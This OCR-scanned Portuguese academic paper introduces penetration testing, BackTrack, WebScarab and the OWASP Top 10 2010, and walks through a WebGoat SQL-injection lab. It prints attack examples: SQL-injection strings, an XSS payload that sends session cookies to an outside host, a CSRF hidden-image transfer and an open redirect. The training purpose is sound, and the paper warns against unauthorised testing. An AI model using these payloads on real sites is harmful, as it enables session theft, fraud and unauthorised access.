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1 Introducao

Este trabalho apresenta uma simples definicao de teste de penetragao, a
distribui¢do GNU/Linux BackTrack, o projeto Metasploit dando destaque ao
framework w3ac.

Na sequéncia, o projeto OWASP TOP 10 sobre os dez maiores riscos em apli-
cagoes Web. Apos segue a apresentacao da ferramenta WebScarab para andlise
de aplicagoes que se comunicam utilizando os protocolos HTTP e HTTPS.

Segue uma descrigdo do projeto WebGoat, uma aplicacdo Web desenvolvida
na plataforma J2EE com varias vulnerabilidades conhecidas com o intuito de
ensinar aos desenvolvedores como testar suas aplicagoes. Ao final, uma ligdo
sobre injecao de SQL do projeto WebGoat.

2 Teste de Penetracao

Testes de penetragao sao testes de seguranga em que os auditores simulam
ataques reais para identificar vulnerabilidades em recursos de aplicagoes, siste-
mas ou redes [1]. Com destaque para avaliagoes de disponibilidade, integridade
e confidencialidade das informacoes. Faz parte de uma auditoria de seguranca
da informacao, é uma avaliagao de riscos ativa [5].

3 MaAquina virtual

Uma maquina virtual é um software de virtualizacao, o qual permite a uti-
lizagao de um sistema operacional dentro de outro. Exemplos de softwares que
implementam méquinas virtuais sao: VMware e VirtualBoz. No presente traba-
lho, optou-se rodar o BackTrack através do VirtualBox pois este é um software
livre.

4 BackTrack

BackTrack ¢ um sistema operacional GNU/Linux distribuido na forma de
um DVD live, ou seja, pode-se rodar o sistema operacional sem precisar instalé-
lo. O BackTrack possui como principal objetivo servir como ambiente para um
teste de penetragao. O BackTrack se originou da fusao de duas distribuigoes
que possuiam o mesmo objetivo: WHAX e Auditor Security Collection. Qual-
quer davida em relagao a instalagao do BackTrack pode ser sanada através dos
tutoriais disponiveis no site da comunidade, o qual se encontra no apéndice.

Para logar no BackTrack utiliza-se o usuério “root” e a senha “toor”, para
configurar a rede digita-se o seguinte comando: /etc/init.d/networking start.
Para iniciar a interface grafica digita-se: startx.



O BackTrack separa suas ferramentas em 11 categorias:

Coleta de Informagoes
Mapeamento de Rede
Identificagdo de vulnerabilidade
Anéalise de aplicagoes Web

* Analise de rede de radio (802.11, Bluetooth, Rfid)
Penetracao

Escalada de privilégios
Manutencgao de acesso

Forense digital

Engenharia reversa

* Voz sobre IP (VOIP)

Diversos

5 Metasploit

O Metasploit é um projeto de codigo aberto o qual provém informagoes
sobre vulnerabilidades. O Metasploit foi criado em 2003 como um jogo de rede
portavel utilizando a linguagem de script Perl.

O seu subprojeto mais conhecido é o Metasploit Framework, uma ferramenta
para o desenvolvimento e execugao de codigos de exploracao em maquinas re-
motas. Outro subprojeto do Metasploit ¢ o Web Application Attack and Audit
Framework (w3af) cujo objetivo é criar um framework para identificar e ex-
plorar vulnerabilidades em aplicagbes Web, tal que o framework seja facil de
utilizar e estender.



6 OWASP TOP 10

O Open Web Application Security Project (OWASP) lancou em 2010 a ter-
ceira edigdo do projeto OWASP TOP 10, sobre os 10 maiores riscos em aplica-
¢oes Web. A tabela 1 é um comparativo entre o OWASP TOP 10 de 2007 e o
publicado em 2010 [2].

As linhas em vermelho representam riscos que estavam presentes no rank de
2007 porém foram removidos em 2010, as linhas em marrom sao riscos presentes
no rank de 2010, porém nao estavam presentes em 2007. Foi utilizado “FAGS”
como abreviatura para falhas de autenticacdo e gerenciamento de sessdo. A
linha contendo um asterisco na primeira coluna representa um risco que estava
presente na edi¢do de 2004 do OWASP TOP 10 como “configuragao insegura de
gerenciamento”.

Tabela 1: Comparativo entre o rank de 2007 e o de 2010 [2].

OWASP TOP 10 - 2007 OWASP TOP 10 - 2010
Falhas de injecao Injecao

Cross Site Scripting (XSS) Cross-Site Scripting (XSS)
FAGS FAGS

Referéncia direta insegura aos objetos  Referéncia direta insegura aos objetos
Cross Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF)

* Configuragao inapropriada de seguranca
Armazenamento criptografico inseguro Armazenamento criptografico inseguro

Falha de restricao de acesso & URL Falha de restricao de acesso & URL
Comunicagoes inseguras Protecao insuficiente na camada de transporte
Nao estava presente no Top 10 2007 Redirecionamento sem validagao

Execucao de arquivo malicioso Removido do Top 10 2010

Vazamento de informagao e

tratamento incorreto de erro Removido do Top 10 2010

Pode-se verificar que os riscos nao se modificaram muito de uma edi¢ao para
outra. Pelo fato do risco de injecao ser o primeiro nas duas edicoes, foi escolhida
uma licao sobre injecao de SQL do WebGoat como tema do presente trabalho.
A seguir, maiores detalhes de cada um dos riscos apontados pelo OWASP TOP
10.

6.1 Injecao de SQL

Falhas de inje¢ao sao muito comuns em aplicacoes Web. Um exemplo de
vulnerabilidade é a injegao de SQL. Esta ocorre quando uma entrada de um
campo de texto informado pelo usuéario é utilizado em uma consulta ao banco
de dados sem nenhum tipo de validacdo. A figura 1 exemplifica de uma forma
humorada uma injecao de SQL. Este risco é facilmente explorado, sendo um
risco comum de facil deteccao e impacto severo.
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Figura 1: Tira em quadrinhos exemplificando a inje¢ao de SQL [4].

6.1.1 Exemplo de cenario de ataque

A aplicagao utiliza dado ndo confiavel para montar uma consulta ao banco
de dados:

select * from alunos where id = " "+ request.getParameter("id")+"" ";

)

O atacante pode modificar o pardmetro para ’ or ’1’="1. Isto modifica o
significado da consulta ao banco, retornando todos os registros da tabela alunos.

6.1.2 Protegao

* Utilizar uma Application Programming Interface (API) a qual provera
uma interface parametrizada.

* Utilizar alguma rotina segura para tratar os caracteres especiais.

* Utilizar uma whitelist onde se encontram todas as entradas validas de um
campo.

6.2 Cross Site Scripting (XSS)

XSS é a vulnerabilidade mais popular em aplicagoes Web. Ocorre quando
uma aplicagao inclui dados informados por um usuario em um pagina enviada
ao navegador sem realizar uma validagao adequada. Este risco apresenta uma
dificuldade de exploragao mediana, facil detecgao e impacto moderado.

6.2.1 Exemplo de cenario de ataque

A aplicagao utiliza dados nao confidveis na construcao de parte do HTML:

"<input name="cartao’ type= "TEXT’ value=""
"+request.getParameter("CC") + 7>’



O atacante modifica o parametro ’CC’ no navegador para:

"> <script>document.location=
'www.h.com/foo="+document.cookie< /script >’

Isto faz com que o ID de sessao da vitima seja enviado para o site do atacante.

6.2.2 Protecgao

* Realizar um tratamento adequado de todo dado néo confiavel no contexto
HTML.

* Utilizar uma whitelist onde se encontram todas as entradas validas.

6.3 Falhas de autenticacao e gerenciamento de sessao

Autenticacdo apropriada e gerenciamento de sessao sao mecanismos criticos
para a seguranca de aplicagoes Web. Frequentemente possuem falhas em areas
como logout, gerenciamento de senha, timeouts. Encontrar falhas pode ser difi-
cil, pois cada implementacao é tnica. Este risco apresenta uma dificuldade de
exploracao mediana, sendo um risco comum, de dificuldade de deteccdo mediana
e impacto severo.

6.3.1 Exemplo de cenario de ataque

O site de uma companhia aérea permite a reescrita da url, colocando o ID
da sessdo na mesma:

http://example.com /sale/saleitems;jsessionid=2P00C2J?dest=Hawaii

Um atacante pode reutilizar o ID de sessao de um usuério autenticado na
aplicacao.

6.3.2 Protecgao

* Verificar as fungdes de logout e timeout.

* Prover aos desenvolvedores um conjunto de controles de autenticacao e
gerenciamento de sessao.

* Utilizar uma interface simples para os desenvolvedores.

* Aumentar os esforgos para evitar falhas XSS que possam roubar o ID da
Sessao.



6.4 Referéncia direta insegura aos objetos

Ocorre quando um objeto é referenciado de forma direta, sem utilizar qual-
quer tipo de protecao. As aplicagoes nem sempre verificam se o usuario possui
permissao para acessar determinado objeto. Este risco apresenta facil explora-
¢ao0, sendo um risco comum, de facil detecgao e impacto moderado.

6.4.1 Exemplo de cenario de ataque

Acesso a documentos sigilosos, imagine que o usuério tem acesso ao docu-
mento arq01l.pdf disponivel na URL: www.example.com/arq01.pdf. O usuério
pode modificar a URL para tentar acessar o arquivo arq02.pdf, acessando assim
um documento nao autorizado.

6.4.2 Protecao

* Utilizar um mapeamento do real nome do arquivo para o codigo que o
usuario solicita.

* Verificar as permissoes do usuério ao tentar acessar um arquivo.

6.5 Cross Site Request Forgery (CSRF)

CSRF tira vantagem de aplicagoes Web que permitem aos atacantes preve-
rem todos os detalhes de uma agdo particular. Caso o navegador Web envie
um cookie de sessao automaticamente, o atacante pode criar uma pagina que
gera requisi¢oes forjadas que sao idénticas a requisicoes legitimas. Este risco
apresenta dificuldade mediana de exploragao, sendo um risco muito popular, de
facil detecgao e impacto moderado.

6.5.1 Exemplo de cenario de ataque

Uma aplicagao permite ao usuario submeter uma requisicao de mudanca de
estado na qual nada é secreto. Como :

http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243

O atacante constréi uma requisicao a qual fard com que a vitima transfira
dinheiro para a sua conta, a esconde em uma requisicao de imagem como:

<img src="http://example.com /app/transferFunds?amount=1500
&destinationAccount=attackersAcct#” width="0"height="0"/>



Caso a vitima visite a pagina aonde a referéncia para a falsa imagem estéa
armazenada e ja estiver logado no site example.com, a requisicao forjada sera
executada e o dinheiro transferido.

6.5.2 Protecao

A prevengao requer a inclusao de tokens imprevisiveis no corpo ou URL de
cada requisicao HTTP. Tais tokens devem ser no minimo tinicos por sessao do
usuario, mas também podem ser tinicos por requisigao.

6.6 Configuracao inapropriada de seguranca

Configuragao inapropriada de seguranga pode ocorrer em qualquer nivel da
pilha de aplicagdo. Scanners sdo tuteis na detecgdo da falta de patches, confi-
guragoes inapropriadas ou contas padrao. Este risco apresenta facil exploracgao,
sendo um risco comum, de facil detec¢ao e impacto moderado.

6.6.1 Exemplo de cenario de ataque

A aplicagdo confia em um framework como Struts. Falhas de XSS sio en-
contradas nos componentes deste framework. A correcao é lancada, porém o
desenvolvedor nao atualiza a biblioteca da aplicacao. Até que a atualizagdo
ocorra, a aplicagao fica sujeita a atacantes.

6.6.2 Protecao

* Hstabelecer um processo repetivel para tornar facil e rapida a implemen-
tagao de um outro ambiente da aplicagao.

* Uma arquitetura de aplicacao forte a qual prové uma boa separagao da
seguranca entre os componentes.

* Audigoes periodicas para detectar faltas de patches e configuragoes ina-
propriadas.

6.7 Armazenamento criptografico inseguro

A falha mais comum nesta area é simplesmente nao cifrar dados que merecem
serem cifrados. Quando a criptografia é utilizada, as falhas mais comuns sdo uso
de geradores de chaves inseguros, armazenamento inseguro de chaves, algoritmos
fracos e a nao utilizagao de chaves rotativas. Este risco é de dificil exploragao,
sendo um risco incomum, de dificil detecgao e impacto severo.



6.7.1 Exemplo de cenario de ataque

Uma fita de backup contendo registros é cifrada , porém a chave utilizada se
encontra armazenada na mesma fita em texto pleno. E a fita nunca chega no
centro de backup.

6.7.2 Protecgao

Todos os dados sensiveis devem ser cifrados, algumas medidas:

Deve-se levar em consideragao as ameacgas das quais se deseja proteger os
dados. Os dados deverao estar cifrados ao menos de maneira a defender
destas ameagas.

Garantir que backups sejam cifrados e as chaves utilizadas estejam arma-
zenadas separadamente.

Garantir que os algoritmos de cifragem utilizados sejam fortes e as chaves
também, utilizar um gerenciador de chaves.

Garantir que todas as chaves sejam protegidas de acessos nao autorizados.

6.8 Falha de restricao de acesso & URL

Caso um mecanismo de controle de acesso nao seja implementado de forma
adequada, é possivel que um usuério tenha acesso a paginas que nao deveriam
ser permitidas. Este risco é de facil exploracdo, sendo um risco incomum, de
dificuldade mediana, de deteccao e impacto moderado.

6.8.1 Exemplo de cenario de ataque

O atacante simplesmente tenta navegar em algumas URLs. Considere a
seguinte URL:

http://example.com/app/admin_getappInfo

Ao acessar estd pagina o usuario obtém privilégios de administrador invés
de ser impedido de acessar.

6.8.2 Protegao

Para se prevenir desenvolvedores devem implementar uma autenticacao e
autorizagao para cada pagina. Este mecanismo de controle de acesso deve prover
pelo menos:
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Uma politica de autenticagao e autorizagao basica.

*

A politica de acesso deve ser facilmente configuravel.

O mecanismo deve negar todos os acessos por padrdo e permitir acesso
através de pedidos para usuérios especificos para cada pagina.

Se a pagina é apresentada em uma sequéncia, certifique-se que a péagina
esté sendo apresentada na ordem correta.

6.9 Protecao insuficiente na camada de transporte

Aplicagoes frequentemente ndo protegem o trafico da rede. Informagoes
sensiveis devem ser transmitidas através de canais seguros providos por proto-
colos criptograficos como Secure Sockets Layer (SSL)/ Transport Layer Security
(TLS). Este risco é de dificil exploragdo, sendo um risco comum, de facil detecgao
e impacto moderado.

6.9.1 Exemplo de cenario de ataque

Um site simplesmente nao utiliza SSL para todas as péaginas que requerem
autenticacao. Um atacante pode monitorar o trafico da rede, podendo assim
capturar um cookie de sessao de uma vitima autenticada no site. O atacante
pode se logar no site como a vitima.

6.9.2 Protecao

Prover protegao na camada de transporte pode afetar o projeto da aplica-
¢ao. O mais facil é requerer SSL para toda a aplicagao, porém por motivos de
desempenho, alguns sites usam SSL apenas em péginas privadas. No minimo o
desenvolvedor deve tomar cuidado com os seguintes aspectos:

Requerer SSL para todas as paginas que contém informacoes sensiveis.
Setar a flag “secure” em todos os cookies sensiveis.
Configurar o provedor de SSL para suportar apenas algoritmos fortes.

Garantir a validade de certificados, que nao estejam expirados, nao revo-
b b)
gados e casem com os dominios usados pela aplicacao.

Backend e outras conexoes devem também utilizar SSL e outros protocolos
criptograficos.
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6.10 Redirecionamento sem validagao

Aplicagoes frequentemente redirecionam usuarios para outras paginas. Al-
gumas vezes a pagina alvo é especificada em um pardmetro nao validado, per-
mitindo aos atacantes escolher a pagina de destino. Este risco apresenta uma
dificuldade de exploracao mediana, sendo um risco incomum, de facil detecgao
e impacto moderado.

6.10.1 Exemplo de cenario de ataque

A aplicagao possui uma pagina chamada “redirect.jsp” a qual recebe um tnico
parametro chamado “url”. O atacante modifica este pardmetro para redirecionar
os usuarios para um site malicioso. Como por exemplo:

http://www.example.com /redirect.jsp?url=evil.com

6.10.2 Protecao

Pode-se proteger dessa falha de diferentes maneiras:

* Simplesmente evitando usar redirecionamentos.
* Nao utilizar parametros do usuario nos redirecionamentos.

* Utilizar uma validacido nos parametros e verificar se foi autorizado pelo
usuario.

7 whitelist vs blacklist

Uma blacklist é uma lista de entradas maliciosas, enquanto uma whitelist
é uma lista de entradas validas. Uma whitelist é melhor para proteger uma
aplicacao pois o atacante tentara de todas as formas possiveis encontrar uma
entrada nao coberta na blacklist portanto seu espaco de busca é muito maior do
que o espago representado pelas entradas validas. A melhor maneira de gerar as
entradas validas é através de expressoes regulares. Porém esta expressao regular
deve ser testada, pois caso aceite entradas maliciosas a whitelist contém falhas.

8 WebScarab

WebScarab é um framework desenvolvido em Java para analise de aplicagoes
que se comunicam utilizando os protocolos HTTP e HTTPS. No seu uso mais
comum o WebScarab funciona como se fosse um prory podendo interceptar e
modificar solicitagdes e respostas entre o navegador Web e o servidor [3].
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Esta ferramenta é um projeto da OWASP e vem instalada no BackTrack.
Para abrir o WebScarab no BackTrack va no simbolo do BackTrack (um dragao)
no canto inferior esquerdo BackTrack -> Web Application Analysis -> Web
(frontend) -> Webscarab Lite.

Connection Settings

Configure Proxies to Access the Internet
' No proxy
O Auto-detect proxy settings for this network
) Use system proxy settings

@®:Manual proxy configuration:
HTTP Proxy: [ localhost I Port: [ 8008

[[1Use this proxy server for all protocols
SSL Proxy: | | Port: | 0:
FTP Proxy: I l Port: [ 0
Gopher Proxy: [ I Port: [ 03
SOCKS Host: | | Port: | 0:

D SOCKS v4 ®SOCKS v5
No Proxy for: [
Example: .mozilla.org, .net.nz, 192.168.1.0/24
O Automatic proxy configuration URL:

[ || @

Ccancel | oK |

Figura 2: Configuracao do proxy no firefox para utilizar o WebScarab.

Para utilizar o WebScarab deve-se configurar o navegador Web para utilizar o
HTTP prozy “localhost” e a porta “8008”. Isto pode ser feito no firefox através da
opcao de menu Edit -> Preferences -> Advanced -> Settings -> Manual proxy
configuration. Deve-se apagar a opc¢ao padrao do firefor de nao utilizar prozxy
para o localhost. A figura 2 representa a configuragdo do proxy no navegador

firefox.

Para ativar a interceptacao de solicitagoes e repostas va na aba “Intercept” do
WebScarab e deixe selecionado a opgao de “Intercept requests” como mostrado
na figura 3 pode-se também selecionar o tipo de requisi¢ao que o programa iréa
interceptar no caso foi escolhido o tipo post e get.

9 WebGoat

O ambiente de testes escolhido neste trabalho foi o WebGoat, uma aplicagao
Web desenvolvida na plataforma J2EE mantida pela OWASP. Cujo o intuito
é mostrar para desenvolvedores de aplicagoes Web como testar estas contra
vulnerabilidades bem conhecidas. Existem outros projetos que como o WebGoat
disponibilizam uma aplicacao com varias vulnerabilidades e um tutorial de como
conserté-las, por exemplo o Gruyere, projeto recentemente langado pelo Google,
e o projeto Damn Vulnerable Web App.
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Im

ile View Tools Help

Summary | Intercept |

Intercept requests : Case Sensitive Regular Expressions 7|
Methods |Inc|ude Paths matching :

* I
GET :
POST Exclude paths matching :
HEAD [ (giflipglpnalcss|is|ico|swaxd. ) § |

PUT
DELETE
TRACE
PROPFIND
OPTIONS

Intercept responses : [ |
Only MIME-Types matching :

Figura 3: Configuracao do WebScarab para interceptar requisicoes post e get.

Estes ambientes de execugao de testes sao conhecidos como Wargames, pois
simulam ambientes reais, porém ao tentar invadir estes nao se esté infringindo
nenhuma lei.

O projeto s6 tem fins educacionais. Caso alguém tente reproduzir os testes
em uma aplicagao real sem autorizagao estara infringindo a lei vigente. Este
alerta também serve para o presente trabalho, o teste demonstrado aqui nao
deve ser reproduzido em ambientes reais sem a devida autorizacao.

O WebGoat alerta que enquanto a aplicagao estiver rodando na maquina esta
serda extremamente vulneravel a ataques. Portanto aconselha-se que enquanto
estiver usando a aplicacao a maquina deve ser desconectada da internet.

9.1 Instalacao

No apéndice se encontra um /link para o tutorial oficial de instalagao do
WebGoat porém este nao estd muito claro. Para executar o WebGoat deve ter
instalado na méquina a JDK 1.6 e a variavel JAVA HOME setada correta-
mente.

Deve-se baixar os arquivos: WebGoat-OWASP _Standard-5.3 RC1.7z e WebGoat-
5.3 _RCl.war do repositorio do WebGoat, enderego o qual também se encontra
no apéndice, descompactar o arquivo WebGoat-OWASP _Standard-5.3 RC1.7z
em uma pasta.
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Nesta pasta existird o arquivo webgoat.sh deve-se verificar se nas linhas
10, 21, 23 e 27 esta explicitada a JDK 1.6 nao a JDK 1.5. Deve-se substi-
tuir o arquivo WebGoat.war da pasta /tomcat/webapps pelo arquivo WebGoat-
5.3_RCl.war.

Com estas modificacoes consegue-se levantar a aplicagao através do seguinte
comando: sh webgoat.sh start8080. O WebGoat agora pode ser acessado atra-
vés do navegador Web pela url: http://127.0.0.1:8080/WebGoat/attack .
Digita-se o usuario “guest” e senha “guest” .

9.2 Interface

A seguir uma descri¢ao da interface do Webgoat representada pela figura 4:

OWASP WebGoat VB2

Restart this Leston

Enter your name in the input feld below and press "go” to submit. The server will accept the
request, réverse the sput, and desplay it back to the user, dlustrating the basics af handhng
&n HTTP reguest,

The user should become familiar with the features of WebGoat by manipulating the abave
butiens to view hints and selution. You have to use WebScarab for the first trme.

ENbEF your nasma: Gal

CWWALS Foundebion

Figura 4: Interface do WebGoat

1. Estas sao as categorias de ligoes do WebGoat. Clique em uma categoria
para ver todas as suas li¢oes.

* 2. Mostrara dicas técnicas de como resolver a licao.
3. Mostrara os parametros das requisicoes HT'TP.

* 4. Mostrara os cookies das requisicoes HTTP.

*
o

Mostrara os objetivos da ligao.

* 6. Mostrara o codigo java que implementou a ligao.
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* 7. Mostrara a solugao da ligao.

* 8. Caso queira reiniciar a licdo pode utilizar este link.

Sempre inicie uma ligao lendo o objetivo da ligao. Apods isso tente resolvé-la
e caso necessario utilize as dicas. Caso nao comnsiga resolver a li¢ao utilizando
as dicas, veja a solucao para mais detalhes.

9.3 Categoria: falhas de injegcao

A categoria de falhas de injecao tem as seguintes li¢oes:

Injecao de comando.
Inje¢do numérica de SQL.
Log Spoofing.

* Injecao de XPATH.

Laboratorio de injecao de SQL.
Estagio 1: injecao de cadeia de SQL.
Estagio 2: Consulta parametrizada #1.
Estagio 3: Injecao numérica de SQL.
Estagio 4: Consulta parametrizada # 2.

* Injecao de cadeia de SQL.

Modificagao de dados através de injegao de SQL
Portas de fundo em bancos de dados.

Injecao numérica de SQL as cegas .

Injecao de cadeia de SQL as cegas.

9.3.1 Primeiro estagio do laboratério de injecao de SQL

O primeiro estagio, tem como objetivo da ligdo contornar a autenticagao
da aplicacao de recursos humanos da empresa ficticia : “Goat Hills Financial”.
Deve-se utilizar inje¢ao de SQL para se autenticar como o chefe (“Neville”) sem
utilizar a senha correta. Verificar que o perfil de Neville é visivel. A figura 5
representa a tela de login da empresa ficticia.

A primeira dica informa que a aplicagao utiliza a entrada do campo senha
a inserindo ao final de uma consulta ao banco de dados. A segunda dica mos-
tra a consulta que estd sendo construida pela aplicagao, o tltimo parametro
“password” é a entrada do usuario no campo senha:
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+“ Goat Hills Financial

1 Human Resources

%I
(4

Please Login
 Larry Stooge (employee) - |

Passwurd[ l

Login

L

Figura 5: Tela de login da empresa ficticia : “Goat Hills Financial”.

"SELECT * FROM employee WHERE userid = "+ userld + "and password
= "4 password

A terceira dica informa um conceito de banco de dados. Consultas ao banco
de dados podem ser feitas através da juncao de multiplos critérios utilizando
palavras chaves como AND e OR. Desta forma a dica sugere adicionar ao final
da entrada um critério que tornaré os outros sempre verdadeiros.

A quarta dica informa que o testador precisara utilizar o WebScarab para
remover um limite de tamanho no campo senha para obter sucesso na injegao

de SQL.

A quinta dica confirma a limitagdo no campo senha sugerindo que o mesmo
seja preenchido com a cadeia de caracteres “smith’ OR '1’ = ’1”. Intercepta-se a
solicitacao de login através do WebScarab. A parte da solicitagdo que representa
o campo senha esta representada na figura 6. Como se pode visualizar na figura
6 apenas “smith’ O” é preenchido no campo devido ao limite de tamanho.

A sexta dica informa que muitas das consultas ao banco de dados do WebGoat
ja sado parametrizadas. Sugere que o testador procure no projeto sobre o assunto
“PreparedStatement”.

A sétima dica sugere a cadeia de caracteres “101 or 1=1 order by salary desc”
como entrada para o campo identificador de funcionario. Este campo pode ser
preenchido desta forma através do WebScarab. Um erro é retornado ao tentar-se
modificar o identificador do funcionario.

A solucao proposta é que se selecione o usuario Neville e digite qualquer
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[ URLEncoded | Text | Hex |

“ariable Value
employee id 112 Insert
password smith' O :
action Login Deiele

Figura 6: Requisicao interceptada mostrando o campo senha com a entrada
“smith’ OR ’1’ = "1 ".

entrada no campo senha. Tendo a certeza que o WebScarab estara interceptando
esta solicitacdo. Apos isto clica-se em login e modifica-se o parametro senha
no WebScarab para “smith’ OR '’ = ’1 7. A figura 7 representa a requisigdo
modificada. Assim consegue-se logar como Neville sem conhecer sua senha pois
a consulta ao banco de dados sempre retorna um valor verdadeiro por conta da
igualdade “1=1".

fURLEncuded [ Text | Hex |

Variable Value
employee id 112
password smith' OR '1' = "1 Insert
action Login Delete

Figura 7: Requisi¢ao modificada que resultara em sucesso no login.

10 Conclusao

Através de um ambiente de testes controlado como o WebGoat pode-se trei-
nar desenvolvedores de aplicagoes Web. Estes nao cometeram erros comuns na
codificagao os quais podem causar danos financeiros e de credibilidade para a
empresa a qual estes trabalham. Portanto deve ser valorizado o tempo gasto
com treinamento em simuladores como o apresentado.

Pode-se contribuir com o projeto WebGoat escrevendo uma ligao sobre al-
guma vulnerabilidade e a adicionando ao repositorio do projeto. Para mais
informagoes sobre como fazer isto visite a pagina: http://www.owasp.org/
index.php/How_to_write_a_new_WebGoat_lesson .
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Apéndice A
Lista de ferramentas

Este apéndice lista todas as ferramentas citadas neste trabalho com seus
respectivos enderegos eletronicos.

BackTrack: http://wuw.backtrack-linux.org/, acessado em Agosto de
2010.

Damn Vulnerable Web App: http://sourceforge.net/projects/dvwa/,
acessado em Agosto de 2010.

Gruyere: http://google-gruyere.appspot.com/, acessado em Agosto
de 2010.

* Metasploit: http://www.metasploit.com/, acessado em Agosto de 2010.
* VirtualBox: http://www.virtualbox.org/, acessado em Agosto de 2010.

* Web Application Attack and Audit Framework (w3af): http://w3af.
sourceforge.net/, acessado em Agosto de 2010.

WebGoat - Repositorio: http://code.google.com/p/webgoat/downloads/
list, acessado em Agosto de 2010.

* WebGoat - Solugbes: http://yehg.net/lab/pr0js/training/webgoat.
php, acessado em Agosto de 2010.

WebGoat - Tutorial de instalagdo: http://www.owasp.org/index.php/
WebGoat_User_and_Install_Guide_Table_of_Contents, acessado em Agosto
de 2010.

WebScarab: http://www.owasp.org/index.php/Category:O0WASP_WebScarab
Project, acessado em Agosto de 2010.
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